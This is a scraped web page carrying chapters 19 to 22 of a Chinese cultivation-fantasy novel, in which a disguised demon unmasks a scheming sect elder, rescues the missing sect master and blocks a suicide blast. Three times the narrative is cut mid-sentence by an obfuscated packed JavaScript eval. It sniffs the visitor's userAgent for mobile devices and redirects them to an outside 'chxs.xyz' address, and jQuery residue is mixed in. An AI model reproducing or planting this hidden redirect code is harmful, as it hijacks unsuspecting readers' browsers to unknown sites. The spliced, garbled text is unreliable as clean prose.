;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736118|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冢的封印。 “好。” “那我先去休息了,明天可有一场好戏呢!” 温却沧看着少年跑向卧房,关上门后又打开,探出一颗头来,笑着对他说:“师父晚安。” “晚安。” 温却沧正打算回房,却突然将目光投向手边的茶,不知何时,那已凉的茶水又腾起了丝丝热气。 白玉的手指触碰着杯壁,是热的。 默了一会儿,他将茶水饮尽,温度刚好。 - 翌日。 北天剑宗热闹了起来,应夏出门能看见不少来来往往的剑宗弟子,他们都往同一个方向去——子剑峰,试剑大会举办的地点。 区别于宗主所住的主峰,子剑峰是北天剑宗十二剑峰之一,命名来源于十二时辰。 应夏来到子剑峰后,发现空旷的广场上已经搭起了一个巨大的石台,有几块巨型的灵石摆在了中央,广场周围错落的搭着高台楼阁,精美的雕栏与装饰,都显得十分华贵。 最瞩目的便是正东的高台,一看就是宗主配置,一把四人并排坐得下的华丽椅子,再加上无一不透着精致的摆盘果茶,他们在对面都能感觉到浓郁的灵气。 原本沉浸在计划中的应夏,猝不及防又被闪了一把眼,暗自咋舌,单看这宗主的待遇,确实会生出不少心思。 应夏偏头靠近温却沧,小声道:“虽说北天剑宗要面子,但这只是宗门内部的比试,也需要这么大排场?” 见他没说话,又胡乱猜测,“总不会,这也是考验的一环吧?考验剑修心性之类的……” 温却沧笑叹不语。 应夏他们是客而且还是贵客,便被安排在了宗主对面的阁楼里。视野极好,从这里看下去,广场上的景色一览无余。 “不错是不错,但是比对面还是差了点。”应夏评论道。 “别贫了,坐吧。” 应夏轻哼一声坐下,没想到这坐垫也做得极为柔软,像是坐在云朵上似的。又看看对面的宗主之位,物欲虽说很俗,但就是令人产生最直接简单的喜悦。 他看向温却沧,说:“师父,有句话怎么说来着,由俭入奢易……” 温却沧转过头来看他,好笑道:“听雪峰委屈你了?” 应夏眨了眨眼睛,“没有,不过,师祖那间大殿放着也是可惜……” “什么?” 应夏见便宜师父微眯起桃花眼,连忙道:“没什么,只是觉得跟师祖那大殿相比,我还是更喜欢师祖的。” 温却沧问:“你很想进去看看?” 应夏坐直身体,眼睛亮亮的,“可以进去看看?” 温却沧故意顿了好久,才笑道:“等这次回去,你想进去便进去吧。” “师父,这可是你说的,不许反悔!” 还没等温却沧回答,邢莫江已经来到对面的位置上,身边站着十二位剑峰峰主,神情严肃的宣布试剑大会开始。 应夏没去关注邢莫江,而是将视线投向了石台上的那几块巨大的灵石,转了转左手小指的银环。 19. 第 19 章 其实应夏对试剑大会很感兴趣,可惜,这大会注定是要半途夭折了。 思索间,邢莫江已经说完场面话,他意味深长地朝他们这边看了一眼,应夏皱起眉,他不太喜欢那个眼神。 难道暴露了?应该不会,应夏不动声色地看向台下的巨型灵石,避开邢莫江莫名其妙的目光。 还好只有一眼便收了回去。 邢莫江铺垫了许久,才谨慎地提起仓冥石脉。 不出所料,北天剑宗弟子们皆哗然躁动。 邢莫江咳嗽几声,喧闹声便很快停歇,他顿了顿,义正言辞地将要与修仙界分享一半仓冥石脉之事道出。 正当他笑着准备接受众人的仰慕崇拜之时,应夏隐晦地在左手心画了一个咒文,浸入了金色的灵气。 同时,石台上放置的巨型灵石中,有一块其中传来微弱的碎石声,人们都被仓冥石脉一事震惊,没有太过在意。 直到邢莫江说完话,突然轰的一声,巨型灵石炸裂开来,碎裂的石块朝四周飞袭,有反应快的剑宗弟子拔剑挡了下来。 有一些碎片朝阁楼里跑来,应夏刚想抬手,温却沧已快他一步,用灵力开了个保护罩将碎片牢牢挡下。 “哈哈哈哈哈!”一道狂妄的大笑从炸裂后形成的灰色雾气中传出,转瞬间,灰色的雾气被染成混沌的黑色,显露出他原本的形态来。 ——那是一只魔!而且是化神期的魔! “邢莫江,你关了我这么久,没想到有一天会在这里见到我吧?”那魔凝出一个黑色的人形来,张开血色的嘴巴嘲讽道。 十二剑峰峰主的动作很快,说话间便将这魔包围了起来。 魔嗤笑一声,挥手间黑雾弥散开来,将整个石台以及周围的阁楼都笼罩在黑雾中。 “怎么回事?”其中一位峰主震惊道。 另一位峰主见多识广,拧着眉道:“糟了,是魔域!” 魔域,顾名思义,是魔的领域。并不是每个魔都有魔域,但厉害的魔一定拥有领域。在魔域中,不管原本是什么修为境界,都会被其压制。 比如,原本同为化神期的十二峰主,在魔域中只能发挥出元婴期的实力。境界与境界之间的差距非常大,原本同境界十二对一胜券在握,但现在……即便来两百个元婴期都打不过一个化神期的魔! 更何况,魔域的作用并不只有这些…… 有剑宗弟子试图冲破黑雾,却被魔气反噬失了神志被其他人暂时弄晕,见此状也没有人再敢试图触碰那黑雾。 邢莫江身为代理宗主,已经拔出剑朝那魔劈来,无数的剑影势如破竹地冲向魔。 但魔并未理睬,只是讽刺道:“邢莫江,你明明知道我是杀不死的,偏偏还得做个样子来杀我,真是虚伪极了。” 应夏看到十二剑峰峰主神色各有不同,有些已经因魔的话对邢莫江产生了怀疑。 “不要被魔的话迷惑!”邢莫江大声喝道。 “迷惑?哈哈哈哈!”魔迎面接下了无数剑影,黑色的身形都暗淡了几分,可是仅仅片刻,他又恢复了原样,然后伸手朝邢莫江狠狠一抓。 “啊——!”邢莫江的整只右手被抓出几道血痕,深可见骨,他痛呼出声。 “痛吗?你把我封印在仓冥石脉中,怎么会没有想到有这么一天呢?”魔狞笑着,又朝邢莫江伸出手。 这时,十二剑峰峰主同时出剑,形成一座如山剑阵,想将魔的攻势压下来。 魔却毫不畏惧,迎面而上,无形的剑意切割着他的躯体,可是划开一道便立即修复,并没有造成实质性的伤害。 “怎么会这样?即便境界差一点,但他都没躲,怎么会一点伤都不留?” “这究竟是什么东西?!” 被困魔域、境界压制、魔恢复力异常的强…… 危机感窜上了每个人的心头,但是应夏看到,不管是底下被魔的境界压制得抬不起头来的剑宗弟子,还是那十二位剑峰峰主,他们的眼神依旧明亮。 但差距摆在这里,有些境界低的弟子还是崩溃了,为了不失态,身边的人都会将其敲晕过去。 极度恐惧之中,应夏听到了许多心声,有想着冲上去拼命的,有懊悔自己平日修炼不够的,还有打算自爆与魔同归于尽的…… 应夏不禁看向半边身子鲜血淋漓的邢莫江,实在想不通,为什么这样的北天剑宗,能养出他这么个伪君子。 “没有邢莫启在,你们也就这点本事了?” 魔觉得无趣,伸手将那十二人打散,似乎因为在黑雾中,魔气也格外的能压制灵力,十二剑峰峰主并不是他的对手,更何况他还不死! “你知道我师父在哪儿?”一道稚嫩的声音出现,吸引了魔的注意力。 与此同时,温却沧的手握上了剑柄,但被应夏挡住,他朝师父摇了摇头,传音道:“师父信我,我不会让邢燕出事的。” 没错,这个站出来的就是邢燕,她身上有宗主留下的令牌,护着她不受魔气侵扰,境界的压制力也化去一半。 林瑶急忙跑出来抱住邢燕,将她小小的身子使劲往自己怀里塞,想要尽可能挡住魔的视线。但是,已经太迟了。 魔一抬手,林瑶倒飞了出去,砸在人群中,而邢燕被虚空抓着拎到他的面前。 “不!你要抓抓我!别碰她!” “她只是个孩子!” “可恶啊!!为什么,为什么……” 不少剑宗弟子都焦急万分,甚至拔剑冲向了魔,但都被甩飞出来。即便如此,仍是有不少弟子冲过去,有些甚至被击飞后又爬起来,红着眼睛冲向魔。 似乎有些烦了这么一波又一波,魔直接抬手将在场能动的所有人,都定在了原地,脖子以下动弹不得,十二剑峰峰主都未幸免。 魔盯着邢燕,露出血盆大口,问道:“你是谁?” “我是邢莫启的徒弟。”邢燕咬住下唇,额头满是汗水,魔在她面前,她怎会不害怕?但她还是颤抖着把话说完了,“你知道,我师父在哪里?” 魔像是起了兴致,多说了几句:“当然知道,你师父能耐大,差一点就能屠魔成功,可惜……” “可惜什么?”邢燕忍着恐惧追问道。 “可惜他遇到了我们俩。”魔又伸手,将邢莫江也抓到自己面前,指着他对邢燕道,“你不知道吧?就是你师父的好师兄,用仓冥石养出了我们兄弟俩,然后许愿想让你师父消失,所以我们才会袭击邢莫启。” 魔咧开嘴笑,“不过,你师父并不知道我们是双生魔,当时只会有一个魔跟他打,所以他永远都 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邢莫江大声说道:“事已至此,我也不瞒大家了,确实是我封印了这个魔,因为杀不死只好暂且封印,更何况当时师弟失踪,我想等着师弟回来后再处置,谁知……” “仓冥石脉可吸收魔气,又有封印加持,魔是不可能出来的,一定是有人故意放了出来。” 邢莫江指着阁楼上的应夏,“是他!我在封印上附有追踪术,破坏封印的人身上会留下我的印记!不论是人还是变化成什么东西,都逃不过!” 说着,从应夏的头发处浮现出一股浅淡的灵力,印出一个小小的江字,随后散成粉末。 应夏看出来,那是一种隐秘的咒术。 他微眯起眼睛,看来还是大意了,以为封印阵法上只有传讯法术,没想到竟还藏着这么一手。 “什么?怎么会?” “他不是温前辈的徒弟么?” “可他为什么要这么做?明明是第一次来本宗。” 一时间形势反转,将矛头直指应夏。 邢燕含泪焦急地看着他,似乎想解释又不知如何开口,而温却沧已经挡在他面前。 应夏微怔,回过神来后推开温却沧,承认道:“是我做的,是我解开了他的封印。” 温却沧拽住了他的手腕,应夏继续道:“可如果不把他放出来,如何让大家都知道你就是那个谋害宗主的人呢?” “血口喷人!”邢莫江怒道,“你私放魔已是与魔勾结,如今还要平白污蔑,我与你有何仇怨,为何如此针对?!” 应夏毫不慌张,镇定道,“那你敢和我一起去剑冢吗?” 邢莫江刚想说有何不敢,可突然顿住了,一时间脸色煞白。 “剑冢?难道宗主被困于剑冢?” “代理宗主为何……难道真的如他所说……” “可、同门相残乃是本门大罪!” 应夏勾着唇,挑衅道:“怎么?不敢了?怕宗主出来戳穿你的谎言?” 邢莫江回过神,反泼脏水:“你如何知道师弟就在剑冢,难道一开始这件事就是你策划的?” 魔忍了又忍,说:“你们,是不是忘了我的存在?” 20. 第 20 章 昨日,仓冥石脉中。 “你又不让我杀人,又不让我伤人,难道我就这么出来挨打吗?” 魔即便在应夏强大的先天等级压制下颤抖着,仍是发出抗议声。 应夏冷笑一声:“你以为我是在跟你讲条件?” 魔咬牙:“那我还算什么魔?!” “你能被一个人类封印在这里,已经够丢脸了。”应夏毫不客气地嗤笑,随后又想到什么,道,“不过你可以动邢莫江,但不能将他弄死,他与你是个人恩怨,这我管不着。” “那别人你就管得着了?你不也是魔么?” 应夏蹙眉,凭空甩了魔一刀,烈焰烧着黑影使他发出阵阵痛呼,“别把你和我相提并论!” 魔被烧着不敢反驳,只能硬忍下,“可要是他们冲过来杀我,难道也不还手吗?” “忍着,反正你不是死不了么?”应夏冷漠道。 “那我把他们击飞总可以吧?不然黏在我面前,还怎么行事。” 应夏这次没说话,算是默认。 其实应夏原本没想这么要求,但想到温却沧,下意识便这么说出口了,万一到时候死伤了什么人,温却沧一定会生气的吧? 应夏可不想惹怒便宜师父,毕竟之前刚被教训过,印象太过深刻。 不过他有些想不通,为什么会下意识这么想,难道是害怕温却沧生气?虽然他发怒的模样确实令他有那么一点点的畏惧,但那只是因为境界压制吧?一定是!他现在还太弱了! 应夏动了动咬肌。 魔:……发生了什么?为什么感觉更生气了? - 黑雾笼罩的石台上,魔对应夏说:“我答应你的事完成了,对不对?” 应夏道:“如果你是说,让你如实道出邢莫江的阴谋,确实完成了。” 魔那张血色的嘴巴突然裂到最大弧度,周围的风向瞬间变了! ——那魔竟然在变强?! “哈哈哈哈哈,你没想到吧?”魔的身形突然被魔气拥挤着变大,一边大笑道,“仓冥石养出的魔,虽说一定要完成所谓的愿望才能真正脱离控制,但是,谁也没有规定愿望非得是养出魔的人许的才算!” 石台上卷起一股旋风将魔整个罩在里面,飞沙走石。 “为了这一刻,我等了太久了!不能违抗人类的话,伏低做小做牛做马,还要被封印折磨……但是,现在我自由了!”魔狂笑着,黑色的旋风中也张开一只血盆大口,说着,“我曾发过誓,一旦我自由,第一个就要拿你开刀,邢莫江!” 魔伸出一只黑手抓住他,刚缠住就被一道突至的火光截断那只魔气做的手臂。 应夏握着红刃骨刀站在了魔面前,而温却沧祭出一只铃铛法器,将众人都收入其下,朦胧的光雾罩着隔绝外界。 在铃铛法阵中,众人的定身也都解除了,但魔域的影响还在。 邢燕也在其中,她趁此机会朝十二峰主讲述此事缘由,希望他们不要责怪应夏。 温却沧只拱手道:“事后自当请罪。” 魔看着断肢仍燃着红色火焰,却并不像之前那样恐惧,他咧着嘴道:“你以为你真的能打得过我?之前示弱不过是缓兵之计而已!” 说着,断肢又快速再生,甚至那火焰也被魔气吞噬,黑旋风中的出现一张狰狞的非人面容。 应夏握着刀站在风中,衣袍猎猎,鹿眸灼灼,轻蔑地呵了一声,“同样的,这句话我也还给你!我将你放出来,只是为了找到宗主后,好将你和你兄弟一起杀了!” “找死!”魔怒吼着,伸出无数黑手抓向他。 应夏身上突然爆出一道刺眼的金光,无数金线缠绕上骨刀,刀挡处的咒文也被金线覆盖,整柄骨刀已看不见原来的红色,而是一把金色耀眼的刀。 “你怎么可能有功德金光?!”魔震惊大叫,他明明也是个魔! 应夏哪管他,凝神劈向魔一刀,却有无数刀势生成于虚空中,一刀一刀斩落每只魔气形成的手,似乎觉得不够,从刀上又伸出无数金线,穿入黑色的旋风中,将魔整个捆住。 什么魔域,什么境界压制,对于功德金光来说完全没有用,那是天道的意志,万物不可阻挡。 邢燕呆住了,“这是……功德金光?”她第一次亲眼看见,明明师父跟她说过,功德金光世上难求,即便有人做了无数好事也不一定能得到天道垂怜,分到哪怕一点儿金色灵气。 应夏他居然有这么多?!还能随意驱使功德金光,根本闻所未闻!他究竟是什么人?! 邢燕抬头看向剑宗众人,觉得她刚才解释得口干舌燥,都没有应夏直接拿出功德金光好使。 “啊!!不要过来!”魔发出哀嚎声,“你怎么可能有功德金光,你不是魔吗?!” 应夏嫌弃道:“谁和你是一样的东西,真令我恶心!” 周围的魔域肉眼可见地在逐渐消失,而中心的黑旋风被越来越多的金线裹住,魔的身形也被蚕食的越来越小,直到变成一团手掌大的茧,掉落在石台上。 应夏拽住一根金线,那茧便被无情地拖了过来,他拖着那只茧走到邢莫江面前,看着他瞪着不可置信的眼睛,弯了弯唇:“现在,我们可以一起去剑冢了吧?” “你、你怎么可能、有功德金光?”邢莫江似乎气急,内伤加重,口中满是鲜血。 “后悔招惹我了?”应夏挑眉,“可惜已经晚了。” 应夏又抬起头,看向北天剑宗众人,拱手道:“对不起诸位,烦请一同去剑冢将邢莫启宗主救出,事后有任何罪责,晚辈愿一力承担。” - 剑冢位于北天剑宗正东方向,由几座连绵山脉环绕,阳光正好,洒在剑冢里铺下一片金辉,使得那些立在剑冢里的数百上千的剑,显得格外耀眼夺目。 这里很寂静,连鸟叫声都没有,这些剑就这样沉睡在这里。 十二剑峰峰主互相看了一眼后,其中一位年长的峰主站出来,问道:“确定宗主在剑冢封印之下?若是情况不实,打扰了先辈们,可是大罪过。” 应夏还没说话,另一位大大咧咧的峰主说:“先别讲究那么多了,先开封印,大不了再合上完事。” “你!” “来都来了,你这时候不相信有什么用,先解开封印!” 年长的峰主叹了口气,拿出一张符纸,咬破自己的手指,在符纸上画着什么。应夏仔细看了,那不是咒文,应该是解开剑冢封印的特殊文字吧。 画完后,符咒从他手中飘入剑冢中,当它行至剑冢中心时,似乎触碰到了什么,百剑齐鸣。 有什么光芒瞬间从地底窜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736120|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,蔓延开来,逐渐形成一道阵法纹路,而那纹路的关键处正插着剑。若是要破这封印,就得惊动那些剑。 年长的峰主看向其他十一位,见他们都蓄势待发,便道:“破阵!” 瞬间,十二位峰主飞身而起,每一个人都落在了阵法的一处,紧接着伸手握住那插在阵法关键位置的剑,十二人齐心一喝,同时拔剑。 此时,强烈的震感从脚底传来,整座山谷都晃动着,剑冢中的其他剑都发出刺耳的声音,像是在哀鸣又像是在啼叫。 林瑶牢牢抱住差点摔倒的邢燕,甩出一只玉簪法器,将二人罩起来,阻挡从山上滚下的落石。 事出突然,应夏脚下被小石子一绊,身子一歪,还好被温却沧捞了回来。他顺着惯性撞在了一个温暖的怀里,应夏懵了一会儿后立刻退开几步,自己稳住了身形。 剑冢中的阵法变了,十二峰主顺利拔出了那些剑,阵法的纹路爆发出几道十分强烈的气劲,将十二人都吹飞了出去。 地动山摇的感觉越来越厉害,地面出现了几条裂纹,像是整个都要坍塌了似的。 温却沧握上剑柄,一言不发地拔剑,朝剑冢阵法内挥去最后一剑。 “轰——”整个剑冢地面完全坍塌,像是陷入了无底深渊一般,但原本在其上直立的剑们,并没有随着碎石掉落下去,而是稳稳当当地立在虚空之中。 阵法的纹路连接着那些剑,温却沧皱眉,正要再出一剑时,一抹白光突然从剑冢下的深渊中窜出,一道与温却沧完全不同的犀利剑光从内部破了阵法。 “是莫启!”温却沧十分笃定,这个剑势错不了。 众人都抬头望着那抹白光,其中慢慢显现出人影来,正是失踪的北天剑宗宗主,邢莫启! “是宗主!真的是宗主!” “宗主竟然真的在剑冢下,难怪一直找不到。” 剑宗弟子还没来及庆贺宗主归来,一抹黑影随即也冲出封印,邢莫启反应很快,又拔剑挥去,而这时候,温却沧却出手挡住了他的剑。 邢莫启疑惑地看向很久不见的好友,不解为何挡他,而温却沧示意他看向那魔。 魔刚冲出来,便被无数金线锁住,还没来得及挣扎便被捆成了一只茧。 如今,应夏手里已经拽着两根金线,拖着两只茧了。 应夏勾了下唇角,朝空中的温却沧挥挥手,然后将手中的两只魔都甩向他。 温却沧也笑,看向邢莫启,他一眼便懂。二人双双拔剑,在金线放开两只魔的刹那间,无比精准地刺向魔,同时将双生魔绞碎在剑气下。 “太好了!终于将魔除尽了!” “还多亏了应夏呢,他身上有功德金光,一定是老天来帮我们北天剑宗的!” “宗主与魔纠缠了这么久,出剑依旧不见疲态,我也要努力修炼了!” 欢欣与喜悦环绕在众人之间。 而被遗忘的邢莫江愣愣地抬头望着,似是失神,口中喃喃道:“为什么,为什么你还活着?” 随后眼中露出憎恶仇恨来,魔气随之而来,从他伤口处钻入体内,邢莫江的两只眼睛都被血丝覆盖。 他默不作声地隐匿自己,然后迅速将手伸向了被林瑶护在怀中的邢燕。 “燕燕!” “啊!师姐,师父!” 21. 第 21 章 林瑶与邢燕的声音将所有人的注意力都拉了回来,但是已经晚了。 邢莫江一只手禁锢着邢燕小小的身躯,另一只手掐住她细嫩的脖子,手背上青筋暴起,一双眼睛已然被血色覆盖。 “他入魔了?!” “是因为伤口的魔气侵蚀吗?有这么快?” “放开她!你到底想要做什么?!” 邢莫江大声道:“都别动!谁敢动我第一个就杀了她!” 邢燕颤抖着嘴唇,眨了好几下眼睛,想把眼中的泪水眨掉,好看清楚现在的情况。 应夏往前走了一步,立刻被邢莫江察觉,他叫道:“不许动!你想让她死吗?”他只好停下。 但这时,邢莫启从他身边走过,直径往邢莫江面前去,面无表情,整个人散发着冷气。他从自己身边经过时,应夏有种仿佛回到听雪峰的感觉。 应夏仔细观察邢莫启的剑,那是一柄比温却沧的更像名剑的剑,剑身如霜雪清亮,看久了好像会被剑刃刺伤眼睛似的。 剑如人,邢莫启这人看着也与他的剑一致,眉目周正英俊,只是那眸子冷得很,脸上一直没什么表情,看起来不太近人情。 他像是没听到邢莫江的叫喊似的,一步一步逼近,仿佛丝毫不在意脖子被掐出血的邢燕,直到邢燕微弱地唤了一声师父,邢莫启才顿住脚步停下来。 “放开她。”邢莫启的声音若寒。 邢莫江又掐着邢燕退了一步,“你为什么还活着?都两个多月了,你怎么还不死!” “我为什么要死?”邢莫启像是很奇怪他怎么会这么问,语气带着些许疑惑,但态度依旧冷淡。 这放在邢莫江眼里,就是赤裸裸的挑衅!他的眼睛又红了不少,伤口流出的血已经掺上了魔气,一些若有若无的黑雾环绕在他身边。 “为什么是你成为宗主?为什么?我明明、我明明比你更有能力。你只会每天抱着你的剑,剑宗内的事务都是我帮你处理的,那你为什么做这个宗主,为什么不能让我来做,那样你就可以安心练你的剑!” 邢莫启道:“一开始,是你与我说愿意帮我多分担一些宗内杂事,也说自己喜欢做,所以我才交给你。” “如果你想要这个宗主之位,为什么当初不说呢?”邢莫启看着自己快要入魔的师兄,叹息道,“明明师父问了……” 不知是不是师父一词刺激到了邢莫江,他突然激动起来,大声道:“师父,师父他只向着你!明明我才是师兄,他凭什么把最重要的北天剑诀教给你都不教我?他明明就是想让你做宗主,师父、师父他明明知道,我、我更适合的……” 嫉妒仇恨扭曲了邢莫江的心神,魔气已经愈发黑沉了,这代表着他就快要成魔了。 应夏眼眸中满是鄙夷,后天魔气会混乱心神,现在的邢莫江已不似之前神志清醒还会知道利弊。 如今已像个丧家之犬,只会毫无顾忌的狂吠。后天魔气是会使人智商下降的啊,应夏暗道。 邢莫江呵呵笑了两声,“不重要了,师弟,这些都不重要了!” 邢莫启皱着眉,不知他是何意。 就在此时,邢莫江突然将邢燕往前一推,将她推入邢莫启怀中,自己也靠近他,反手掏向肚中! “糟了!他要自爆!” 有人看出了邢莫江的意图,大喊出声,可惜,晚了一些。 邢莫江嘴里含着血水,笑得狰狞。 化神期自爆,可以毁了半个北天剑宗,事已至此,他只想着与邢莫启同归于尽了,即便他或许能逃生,但这千百名剑宗弟子还能逃掉不成? 被推出去的邢燕跌进邢莫启怀中,听到自爆之言恐惧地攥紧了师父的衣袍,却感受到熟悉的大掌轻抚头顶,剧烈的爆炸声中传来一声冷淡又轻柔的“别怕”。 邢燕紧紧抱住了邢莫启,但是疼痛并未如期而至。 她疑惑地转过头看向邢莫江所在,从地底窜出无数金线笼罩了邢莫江,将他的自爆圈在固定范围,并没有波及众人。 金线因爆炸变得破破烂烂,很快散成金粉随风吹散于空中,邢燕看到了点点金光在太阳的照耀中落在她和师父身上,融入体内后暖洋洋的。 她下意识摸了摸脖子,上头可怖的伤痕居然不见了!莫非是那些金线的原因?是应夏救了他们! 邢燕笑着从邢莫启的怀中跑出来,看到应夏对着她笑。 可她还没高兴地朝应夏走近几步,就突然顿在了原地。 应夏还在笑,但他没忍住吐出了一口血,然后便坠入黑暗昏了过去。 陷入黑暗前,应夏想,其实他没想到金线真的能挡住化神期的自爆,只是抱着试一试的心态让金线裹住邢莫江,本来是打算释放先天魔气控制他的,没想到还是来不及。 不过金线居然真的挡下来了,功德金光比他想象中要厉害很多啊,只是也差一点要了他的命。 应夏在失去意识前,感觉到自己栽倒在温却沧怀中,想着,这一幕好像有点熟悉…… 只是,与之前不同的是,温却沧脸上张皇失措的神情,他第一次见。 - 等到应夏再次睁开眼睛,发现自己正在剑宗给他安排的住处,房间里十分寂静没有一个人。 他以为自己醒来后会浑身不适,但居然一点儿都没有,甚至觉得体内暖洋洋的,就是魔气被耗得一干二净,不过功德金光似乎增长了不少。 应夏面无表情的抬起手,掌心中聚齐几股金线,看着比以前粗壮结实不少,甚至他现在可以不需要融入魔力就能产生出金色灵气。 ……越来越不像一个魔了。 应夏突然握紧拳头,蹙起眉,他好像装大善人装得太像了一点。原本……只是打算搅浑水,再把邢莫江的伪善面具撕开,然后看一场同门相残的好戏罢了。 怎么发展成这样了?是功德金光用太多对他造成了影响?还是…… “应夏,你终于醒了!”邢燕推门进来,见他苏醒喜上眉梢。 啊,让他变得不像魔的罪魁祸首之一来了。 应夏靠在床上侧头看着她,没有说话。 邢燕想他刚醒来疲惫不想开口也是正常,便倒了一杯热水给他润润喉咙,应夏静静地捧着杯子喝水。 “你真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736121|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓死我了,我还以为你……呸呸,温前辈说你并无大碍,只是空耗得厉害,又强行越级,这才引来反噬。” 邢燕大大的眼睛盯着他,嘱咐道,“下次你可别再乱来了,原本温前辈就做了准备,还有我师父当时也打开了本宗的护山法阵,可以强制转移邢莫江的……没想到一个都没用上,竟然被你挡了下来。” 应夏勉强扯了扯唇角,暗自想着,冲动,太冲动了,天塌下来了也有个子高的顶着,他逞什么能。 邢燕看出他脸上的懊悔情绪,换了个话题,“不过这次因祸得福,大家对你的态度转变很大。你可是我们北天剑宗的大恩人!不仅拆穿邢莫江的阴谋,还将我师父救了出来,甚至在危急关头保护了我们,大家都很感谢你。” 应夏:……不,我不想做个好人,我只想做个好魔……等等,好像也不太对劲。 “哦对了,你发现你结丹了吗?”邢燕突然想起一事,“你昏迷过去后,温前辈帮你疗伤时,发现你的境界突破了,你现在已经是金丹期修士了。” 闻言,应夏下意识摸了摸自己的丹田,原来是功德金光团在那处被误认为是金丹了,魔实际上是不可能结丹的,不过这样也省的自己想到时候境界突破要如何伪装了。 这下倒是意外之喜。 温却沧进屋的时候,听到邢燕正笑着与应夏说话。 “诶?你师父居然一百多岁了?完全看不出来。”应夏惊讶道,“我还以为他和我师父一样,也是二十多呢。” 邢燕道:“你以为所有人都像温前辈那样是天才吗?这天底下的化神期,哪个不是修炼了百年以上?我师父算是其中修炼神速的了!你师父那种根本就是闻所未闻!我真怀疑他是不是仙人下凡。” “哈哈哈哈怎么可能?” 应夏又问道,“那化神期以上呢?我看十二剑峰峰主好像也都是化神期,北天剑宗没有更厉害的境界修士了吗?” 邢燕闻言有些无语,似乎在讶异他怎么比小孩子都缺乏修仙界常识,解释道:“化神期之后有炼虚期和渡劫期,最后便是飞升。” “如今灵气减弱,渡劫期修仙者在整个修仙界都极为稀少,我们宗门有位护山大能是渡劫期,可是他一直行踪不定,据说除非宗主传令他才会回来。” 邢燕想了想,“还有几位隐退的长老是炼虚期,都不在门内,下山去除魔了,听说是想要沾些功德。” “难怪宗主失踪,就只有邢莫江一人接管,原来他们都不在宗门内。” 温却沧听了一会儿,便推门而入。 邢燕转过身,乖巧地唤人:“温前辈,你来了。” 罪魁祸首之二来了,应夏想道。 邢燕眨了眨眼睛,对应夏说:“那我先走了,你好好养身体,我回头再来看你。” “好。” 温却沧坐到了邢燕原来坐着的位置,看着恢复一些精神的应夏,没有说话。 沉默在二人间弥漫。 ——“第二条,把你自己的身体或者说命,放在心上。” 应夏掩在被子下的手慢慢收拢相握,他不会又要被罚了吧? 22. 第 22 章 “在想什么?” “如果你要罚我,我就不当你徒弟了。”应夏下意识脱口而出。 说完觉得不对劲,抬眸看了眼温却沧,又快速垂下眼眸,捏了捏藏在被子下的手指,倔强着没有收回那句话。 他这次又不是故意的,事态发展也不是他能控制的,更何况他现在“卧病在床”,真的很惨了。 ……虽然确实是他莽撞了,但那种情况下根本来不及反应好吧! 应夏的眸子左右转动着,心里快速为自己开脱,但他就是没有将想法说出来,就这么和面前的人僵着。 温却沧的桃花眼里映着不自觉咬住了下唇小痣的少年,他沉默着伸手想要触碰应夏,白到过分的指尖刚碰到他的发丝,应夏便往后撤了撤,避开了。 可在避开后,应夏突然圆睁着眼睛,将手从被子下迅速抽出,抓住了温却沧的手腕,说:“为什么你的灵力少了好多?” 难道是当时便宜师父在面对邢莫江自爆动用了大部分灵力?但这都过去好几天了,也应该恢复了! 刚才因为有些别扭都没有发现温却沧的异状,直到他靠近自己的时候,才感觉到灵力波动太过微弱了些。 应夏有些焦急,没意识到自己将温却沧的手腕握出了红痕,温却沧也任他握着。 他低哑着声音道:“是我没有保护好你。” 应夏张了一下嘴,又用力抿住了唇,有不知道什么东西蹿了上来,那是一种令他十分不知所措的东西。 他不喜欢。 “师父,我错了。” 温却沧没有反应,应夏拽了一下他,提高了一点声音,“师父,我错了!” “是我错了,我刚才不该那样说的,是我先破坏了你的规矩,可是……不,没什么理由,错了就是错了,对不起师父,我……” “应夏。”温却沧唤了他一声。 应夏立刻停下了话语,睁大眼睛认真看着他,拽着温却沧的手指有些发白。 温却沧的嘴角弯起一个浅淡的弧度,他捕捉到少年每个不安的情绪,安抚道:“应夏,你没错,你救了大家,救了剑宗所有人,我怎么会怪你呢?” 应夏紧抿着唇,鹿眸中泛着水光,他突然有些不想听了。 温却沧叹了口气:“我是在怪我自己。” “我不允许你怪你自己!”应夏瞪着眼睛看他。 温却沧明显有些愣住了,他低落的情绪像是被少年执拗地捧了起来。 应夏的掌心中伸出金线缠绕住他的手腕,蜿蜒而上进入他的心脉,温却沧的灵力与金线十分亲近,二者非常容易相融,应夏便用功德金光滋养着。 “果然如此,师父,我昏迷之后,是你为我每天耗尽灵力……” 